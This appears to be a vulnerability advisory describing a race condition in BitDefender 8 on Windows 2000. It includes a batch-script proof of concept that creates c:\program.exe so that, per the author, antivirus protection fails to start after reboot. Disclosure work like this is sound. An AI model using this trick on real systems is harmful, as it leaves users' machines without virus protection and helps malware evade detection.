----------------------------- Product: BitDefender Version: 8 Tested on: Windows 2000 SP4 Vulnerability: Race condition ----------------------------- BACKGROUND ---------- BitDefender ensures the most advanced antivirus protection, as well as data confidentiality, active content control and Internet filtering. A powerful antivirus tool with features that best meet your security needs. Source: www.bitdefender.com VULNERABLE PRODUCTS ------------------- BitDefender 8 Professional Plus BitDefender 8 Standard Edition Maybe other... RACE CONDITION -------------- At Windows startup, when a file named: program.exe is found on c:\ Windows send an alert message, messagebox controls are: 2 buttons -> "Rename" or "Ignore" 1 checkbox -> [X] Do not do this verification on startup. (Sorry, haven't got the exact english message) At this moment, BitDefender can't start, so we have a session without virus protection. PROOF OF CONCEPT ---------------- Open your notepad.exe and paste this batch script. @echo off echo #-------------------------------------------------------# echo [ SecuBox - Proof of Concept (04.12.2005) ] echo #-------------------------------------------------------# echo # This script just create the race condition. # echo # It might be use by virus. # echo # Now, reboot your computer and watch your BitDef ! # echo #-------------------------------------------------------# echo # Be carefull, for virus protection need another reboot # echo # Closing your Windows session is not sufficient ! # echo #-------------------------------------------------------# echo BitDef PoC > c:\program.exe pause exit EXPLOITATION ------------ Save this batch script as TEST.BAT and try it. VENDOR STATUS ------------- Vendor have been contacted but no reply ... CREDITS ---------------------- SecuBox Labs - fRoGGz unsecure@writeme.com ----------------------